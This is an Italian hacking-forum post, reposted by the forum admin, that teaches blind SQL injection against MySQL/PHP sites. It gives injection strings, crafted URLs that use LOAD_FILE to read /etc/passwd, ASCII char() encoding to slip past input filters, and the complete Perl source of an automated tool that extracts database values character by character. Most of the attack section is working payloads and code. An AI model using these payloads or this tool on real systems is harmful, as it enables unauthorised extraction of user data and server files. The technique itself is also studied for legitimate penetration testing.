---->QUESTO E' IL MONDO DEGLI HACKER!<----

Benvenuti nel Forum. =D Saluti il vostro Admin Very Happy

    [Scopo informatico]Blind SQL Injection[Scopo informatico]

    Condividere
    avatar
    Admin
    Admin
    Admin

    Messaggi : 109
    Reputazione : 0
    Data d'iscrizione : 27.03.10
    Località : A casa mia :D xD

    [Scopo informatico]Blind SQL Injection[Scopo informatico]

    Messaggio Da Admin il Dom Mar 28, 2010 4:14 pm

    Allora, iniziamo subito:
    1. Introduzione
    Prima di tutto dobbiamo introdurre due concetti fondamentali per la conprensione del testo, ovvero che cosa si intende per Blind SQL Injection e cosa si intende per Inferenza.

    Blind SQL Injection: normalmente quando si effetuano dei test di vulnerability assessment e si provano attacchi di tipo SQL Injection cio' che si fa e' analizzare l'output prodotto dal DBMS a causa di errori sintattici presenti all'interno della query (errori volutamente prodotti dal tester) per poi eseguire tecniche di testing piu' mirate. Nel Blind SQL Injection, al posto degli errori prodotti dal DBMS viene presentata una pagina di errore generica creata dallo sviluppatore, in questo modo non e' possibile ottenere informazioni utili sulla struttura della query. Nel caso di MySQL (con linguaggio di programmazione PHP) cio' che otteniamo e' qualcosa di simile, ovvero l'errore prodotto dal database non fornisce alcuna informazione utile al tester (nella configurazione di default), perche' cio' che viene ritornato e' un semplice messagio del tipo:

    Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource

    Necessitiamo dunque di un modo per superare questo ostacolo.
    Per maggiori informazioni sul Blind SQL Injection vedere [1]

    Inference: con il termine inferenza intendiamo appunto fare inferenza sul valore di un certo parametro. Ovvero dato un parametro il cui valore e' incognito, cio' che facciamo e' eseguire una serie di test e dal loro risultato possiamo dedurre il valore del parametro.


    Indice
    2. Teoria
    Fino a qualche anno fa per eseguire attacchi di tipo SQL Injection su database MySQL bisognava procedere un po' alla cieca (ad esempio perche' MySQL non supportava l'uso delle query annidate, o per il fatto di non ritornare informazioni utili). Una delle tecniche, per cosi dire avanzate, consisteva nell'utilizzare la funzione

    into outfile 'filename'

    la quale permetteva di memorizzare il risultato della query all'interno di un file, il quale poteva in seguito essere richiamato tramite una richiesta HTTP dal proprio browser.
    Purtroppo questo metodo non sempre funziona, ad esempio potremmo avere problemi a scrivere sul file a causa dei permessi, oppure il database potrebbe risiedere su un host diverso da quello del web server, rendendo impossibile l'acceso al file tramite browser.
    Grazie alle tecniche di inferenza vedremo tra poco come poter leggere i valori ritornati dalle query.
    I passi da effettuare sono:

    1.Verificare che la vulnerabilita' da SQL Injection sia effettivamente exploitabile, ovvero riesco a modificare la query in modo che risulti sintatticamente corretta
    2.Applicare tecniche di inferenza
    Per quanto riguarda il primo passo non vi e' nulla di difficile, i metodi utilizzati sono i classici

    ' or '1' = '1

    oppure

    ' /*

    da aggiungere alla fine della query.
    Per una maggiore comprensione di tali tecniche si vedano i Riferimenti.

    Una volta verificato cio', comionciamo ad attuare le tecniche di inferenza. Supponiamo di conoscere il nome di una delle colonne che compongono la tabella, ad esempio username e di voler sapere il valore che assume tale campo in una determinata tupla.
    Supponiamo che la query eseguita dal server sia la seguente:

    http://www.mysite.com/index.php?id=20

    intuitivamente cio' che viene fatto e' selezionare da una opportuna tabella la tupla che ha id uguale a 20. Il nostro compito e' riuscire a sapere che valore assume il campo username di tale tupla. Cio' che faremo e' fare inferenza su ogni singolo carattere del valore assunto dal campo username.
    L'algoritmo che utilizzeremo e' qualcosa di simile:


    1. i := 1
    j := 0
    valore := ''
    2. ASCII(carattere posizione i) del parametro e' maggiore di j?
    Se si vai al passo 3, altrimenti salta al passo 4
    3. j++
    Vai al passo 2
    4. valore := valore + CHAR(j)
    j:=0
    i++
    5. Ho esaminato tutti i caratteri del parametro?
    Se no ritorna al passo 2 altrimenti esci e ritorna il valore memorizzato in valore.
    Dove ASCII(car) identifica il numero nella tabella ASCII del carattere car, e CHAR(j) identifica il carattere ASCII relativo al numero j. In pratica cio' che viene fatto e andare ad esaminare tutti i caratteri della tabella ASCII e fermarci quando abbiamo identificato il valore assunto dal carattere in una certa posizione, dopodiche' eseguiremo lo stesso ragionamento con il carattere successivo. In verita' l'algoritmo puo' essere migliorato, il tool presentato nelle sezioni finali, implementa un algoritmo piu' intelligente, comunque per il momento considereremo questo algoritmo non ottimizzato, vedremo piu' avanti quali migliorie sono possibili.

    Vi e' comunque un problema in tale algoritmo, ovvero come faccio a capire quando ho finito di esaminare il parametro? Per far cio' ci verra' in aiuto una particolare funzione di MySQL la quale ci ritorna la lunghezza del valore del parametro in numero di caratteri.

    Per chi ha letto il paper di David Litchfield [2], non avra' visto nulla di particolarmente nuovo, se non per il fatto che qui facciamo inferenza sul valore del carattere e non sul valore dei singoli bit rappresentante il carattere. Di seguito applicheremo tale tecnica utilizzando le funzioni di MySQL e riuscendo perfino a ricavare il contenuto di un qualsiasi file presente sul filesystem (permessi di lettura permettendo).


    Indice
    3. Dalla teoria alla pratica
    Vediamo quali sono le funzioni di MySQL che ci permetteranno di fare quanto detto nel paragrafo precedente:

    1.CHAR_LENGTH(str)
    2.ASCII(car)
    3.SUBSTRING(sre,pos,len)
    4.LOAD_FILE(str)
    Cominciamo con il voler ricavare il valore di un particolare campo. Prima di tutto e' necessario conoscere il nome di tale campo. Supponiamo di essere interessati a conoscere il valore della colonna che contiene gli username. Per conoscere con esatteza il nome del campo basta fare un po' di prove con richieste del tipo:

    http://www.mysite.com/index.php?id=20' and username = username/*

    Avendo in precedenza verificato che la vulnerabilita' e' exploitabile, ovvero riusciamo a creare una query sintatticamente corretta, possiamo vedere se la richiesta fatta ci ritorna un valore corretto oppure no. Se ritorna un valore corretto allora abbiamo indovinato il nome del campo, se ritorna un errore vuol dire che il nome e' sbagliato. Esempi tipici di nomi di colonna sono; users, utenti, username, password, ...

    Supponiamo di aver scoperto che il nome del campo che contiene gli username si chiama login. A questo punto creeremo una query apposita per fare inferenza sul primo carattere del valore assunto dal campo login della tupla avente id uguale a 20.
    La query e' la seguente:

    http://www.mysite.com/index.php?id=20'...gin,1,1))%3E0/*

    dove %3E rappresenta il simbolo di >. Se tale query ritorna un valore vero (vedremo tra poco come identificare un valore vero da uno falso) allora procedo con l'esaminare il prossimo carattere nella tabella ASCII in modo iterativo come descritto nell'algoritmo precedente.

    Abbiamo parlato di valore vero e falso, in verita' cio' che ci serve e' solo il valore di falso. Per vedere quando la query ritorna un valore falso, basta confrontare la pagina ottenuta con la query prima esposta con la pagina ottenuta inoltrando una query che ritorna sicuramente un valore falso, ad esempio:

    http://www.mysite.com/index.php?id=20'...9;%20=%20'2

    In verita' questa tecnica non sempre funziona, infatti nel caso in cui il contenuto della pagina cambiasse dinamicamente tra due richieste, questa tecnica non e' piu' attuabile. Tale caso e' stato considerato in [3] per chi fosse interessato, noi comunque ci metteremo nelle ipotesi in cui il contenuto della pagina web non cambia.
    Alla fine otterremo il valore desiderato.

    Una piccola nota, per ottenere la lunghezza del valore basta fare inferenza sulla lunghezza del parametro fino ad ottenere un valore falso. La query che permette di fare inferenza sulla lunghezza e' la seguente:

    http://www.mysite.com/index.php?id=20'...TH(login)%3E0/*

    A questo punto potremmo chiederci ma perche' necessitiamo della lunghezza del valore? Non basta verificare che il carattere su cui si fa inferenza e' diverso dal carattere 0, ovvero NULL (la funzione SUBSTRING ritorna un valore NULL quando la posizione del carattere da estrarre e' maggiore della lunghezza della stringa)? La risposta sarebbe si se siamo sicuri che il valore del parametro non contiene byte nulli. Generalmente cio' e' vero per i valori inseriti dagli utenti, ma come vedremo tra poco non e' vero se vogliamo ottenere il contenuto di un file (in particolare binario).

    Per far cio' utilizziamo la funzione LOAD_FILE(file), la quale ritorna il contenuto del file specificato come argomento. Se ad esempio volessimo ottenere il contenuto del file /etc/passwd tramite inferenza, la richiesta da utilizzare e' la seguente:

    http://www.mysite.com/index.php?id=20'...t;),1,1))%3E0/*

    Esistono anche tutta una serie di tecniche per mascherare il nome del file o i nomi dei parametri, ad esempio la seguente query

    char(99,58,47,98,111,111,116,46,105,110,105)

    non e' altro che la codifica della stringa c:/boot.ini, dove ogni carattere viene rappresentato tramite il suo codice ASCII. Quindi basta modificare il valore "/etc/passwd" con la sua rispettiva codifica nel caso in cui vengano effettuati dei controlli di input su stringhe particolari.


    Indice
    4. Tool
    Questo non e' un tool per Script kiddie, per poterlo utilizzare e' necessario prima verificare che il sito sia exploitabile come descritto in precedenza, in caso contrario il tool non da alcun supporto utile.

    Purtroppo le query da effettuare per utilizzare l'inferenza sono tutt'altro che poche. Di seguito vedremo l'utilizzo di un semplice tool per automatizzare l'invio di richieste.

    Il tool riceve in input l'url vulnerabile e il parametro su cui fare inferenza.
    Prendendo in considerazione il nostro esempio l'url da passare risulta essere:

    http://www.mysite.com/index.php?id=20

    ora non rimane che passare la stringa su cui si vuole fare inferenza, ad esempio il nome del campo per ottenerne il valore (nel nostro caso il nome e' login), oppure il valore LOAD_FILE("/etc/passwd") per ottenere il contenuto del file.

    Abbiamo detto in precedenza che il tool qui presente implementa delle ottimizzazioni, in pratica, la lunghezza della stringa non viene calcolata all'inizio (come ci si aspetterebbe), invece cio' che viene fatto e' controllare il suo valore solo quando si incontra un carattere NULL. Facendo un esempio, supponiamo di avere analizzato 8 caratteri della strigna su cui stiamo facendo inferenza, a questo punto supponiamo di ottenere un byte NULL. Cio' puo' essere dato da due motivi, 1) ho esaminato tutta la stringa o 2) la stringa contiene un carattere NULL. Per risolvare il dilemma basta fare inferenza sulla lunghezza del parametro, in pratica ci chiediamo "il valore del parametro ha lunghezza minore o uguale a 8?" se ritorna un valore falso allora siamo nel caso 2) altrimenti siamo nel caso 1).
    Una'ltra ottimizzazione possibile e' data dal fatto di non esaminare tutta la tabella ASCII a partire dal primo carattere, sapendo che le lettere che vanno dalla 'a' alla 'z' sono piu' frequenti, analizziamo prima queste, passando poi ai numeri e cosi' via fino a considerare i caratteri piu' inconsueti.

    Di seguito e' esposta una tipica esecuzione del tool:

    $ ./sqlInf.pl http://www.mysite.com/index.php?id=20 'login' -v

    Copyright (C) 2006 Antonio "s4tan" Parata <s4tan@ictsc.it>

    Current char: abcdefghijklmnopqrs

    [+] Found: s

    Current char: abcdefghijklmnopqrstuvwxyz01234

    [+] Found: s4

    Current char: abcdefghijklmnopqrst

    [+] Found: s4t

    Current char: a

    [+] Found: s4ta

    Current char: abcdefghijklmn

    [+] Found: s4tan

    Current char: abcdefghijklmnopqrstuvwxyz01234567890

    [+] Found NULL char, checking length => Finish


    [+] Value: s4tan

    $
    Indice
    5. Flash Demo
    Per visualizzare una demo in flash premi qui.


    Indice
    6. Download tool
    Il tool utilizza la libreria libwhisker creata da rfp (scaricabile da http://www.wiretrip.net/rfp/lw.asp), per cui non necessita dell'installazione di moduli aggiuntivi.
    Il tool puo' essere scaricato cliccando QUI.


    Indice
    7. Riferimenti
    1.http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
    2.http://www.ngssoftware.com/papers/sqlinference.pdf
    3.http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf

    Indice
    8. Source Code
    #!/usr/bin/perl
    #
    # Copyright (C) 2006 by Antonio "s4tan" Parata - s4tan@ictsc.it
    # Last Update 26/06/2006
    #
    # This program is free software; you can redistribute it and/or
    # modify it under the terms of the GNU General Public License
    # as published by the Free Software Foundation; either version 2
    # of the License, or (at your option) any later version.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    # GNU General Public License for more details.
    #

    use strict;
    use lib './';
    use LW2;

    # Colori
    our $VERDE = "\033[32m";
    our $CL = "\033[0m";

    $|++;
    print "\nCopyright (C) 2006 Antonio \"s4tan\" Parata \n";


    my $page = $ARGV[0] || usage();
    my $field = $ARGV[1] || usage();

    my @terminators = ("/*","%20and%20'1'%20=%20'1");
    my $goodTerminator = $terminators[0]; # Terminatore usato per rendere la query sintatticamente corretta
    my $verbose = undef;

    # Parse input
    if (defined $ARGV[2]) {
    for(my $i = 2; $i <= $#ARGV; $i++) {
    if ($ARGV[$i] =~ /-t/) {
    if ($ARGV[$i+1] eq 1) {
    $goodTerminator = $terminators[1];
    }
    $i++;
    }
    elsif ($ARGV[$i] =~ /-v/) {
    $verbose = 1;
    }
    else {
    usage();
    }
    }
    }

    my $curPos = 1; # Posizione del carattere del nome del campo su cui faccio inferenza
    my $curChar = 0; # Valore ASCII da confrontare per l'inferenza
    my $posCurChar = 0; # Posizione nella tabella ASCII del carattere
    my $finito = 0;

    my $value = '';

    my $false = getFalsePage($page);
    my @asciiTable = fillAsciiTable();

    ### Start Main
    ###############

    print "\n\n";
    print "Current char: " if $verbose;

    while(!$finito) {
    my $curPage = getPage(getModifiedPageURL($page,$field,$curPos,$posCurChar));
    $curChar = $asciiTable[$posCurChar];

    print chr($curChar) if $verbose && $curChar > 32;

    if ($curPage eq $false) {
    # Avanzo gli indici
    $posCurChar++;
    }
    else {
    if ($curChar eq 0) {
    print "0\n\n[+] Found NULL char, checking length => ";
    if (checkLengthField($page,$field,$curPos)) {
    print "Finish";
    $finito = 1;
    }
    else {
    print "Continue";
    }
    print "\n";
    }

    if (!$finito) {
    # Carattere identificato, avanzo gli indici
    $value = $value.chr($curChar);
    $posCurChar = 0;

    print "\n\n[+] Found: $value\n\n" if $verbose;
    print "Current char: " if $verbose;

    $curPos++;
    }


    }
    }

    print "\n\n[+] Value: $VERDE$value$CL\n\n";


    ### Subroutine
    ###############

    sub usage {
    print "Usage: $0 [-t 0|1] [-v]
    : website prone to sql injection attack
    : string on which it's possible to make inference, for example:
    1) known column name
    2) LOAD_FILE('') where is a filename (e.g. /etc/passwd)
    3) a MySQL function like: DATABASE(), LAST_INSERT_ID(), USER(), VERSION()
    -t : type 0 to end the query whit /*
    type 1 to end the query whit %20and%20'1'%20=%20'1
    -v : verbose output

    example: $0 'http://www.website.com/index.php?parameterProneToInjection=20' 'VERSION()' -t 1 -v
    example: $0 'http://www.website.com/index.php?parameterProneToInjection=20' 'LOAD_FILE(\"/etc/passwd\")'

    ";
    exit 0;
    }

    sub checkLengthField {
    my $page = $_[0];
    my $field = $_[1];
    my $length = $_[2];

    my $curPage = getPage(getModifiedPageURLForLength($page,$field,$curPos));
    if (!($curPage eq $false)) {
    return 1;
    }
    else {
    return 0;
    }

    }

    sub getFalsePage {
    return LW2::get_page($_[0]."'%20and%20'1'='2");
    }


    sub getPage {
    return LW2::get_page($_[0]);
    }

    sub getModifiedPageURLForLength {
    my $i=-1;

    my $page = $_[++$i];
    my $field = $_[++$i];
    my $index = $_[++$i];

    return $page."'%20and%20CHAR_LENGTH($field)%3C=$index$goodTerminator";
    }

    sub getModifiedPageURL {
    my $i=-1;

    my $page = $_[++$i];
    my $field = $_[++$i];
    my $posChar = $_[++$i];
    my $index = $asciiTable[$_[++$i]];

    return $page."'%20and%20ASCII(SUBSTRING($field,$posChar,1))=$index$goodTerminator";
    }

    sub fillAsciiTable {
    my @tmp;

    push @tmp, getRange(97,122); # a-z
    push @tmp, getRange(48,57); # 0-9
    push @tmp, getRange(0,0); # NULL
    push @tmp, getRange(65,90); # A-Z
    push @tmp, getRange(58,64); # :;<=>?@
    push @tmp, getRange(32,47); # !"#$%&'()*+'./
    push @tmp, getRange(1,31); #
    push @tmp, getRange(91,96); # [\]^_`
    push @tmp, getRange(123,255); # {|}~

    return @tmp;
    }

    sub getRange {
    my $start = $_[0];
    my $end = $_[1];
    my @tmp;
    my $j = 0;

    for (my $i = $start; $i<=$end; $i++) {
    $tmp[$j++] = $i;
    }

    return @tmp;
    }

    __END__

    By Admin.

      Argomenti simili

      -

      La data/ora di oggi è Lun Mar 27, 2017 9:26 pm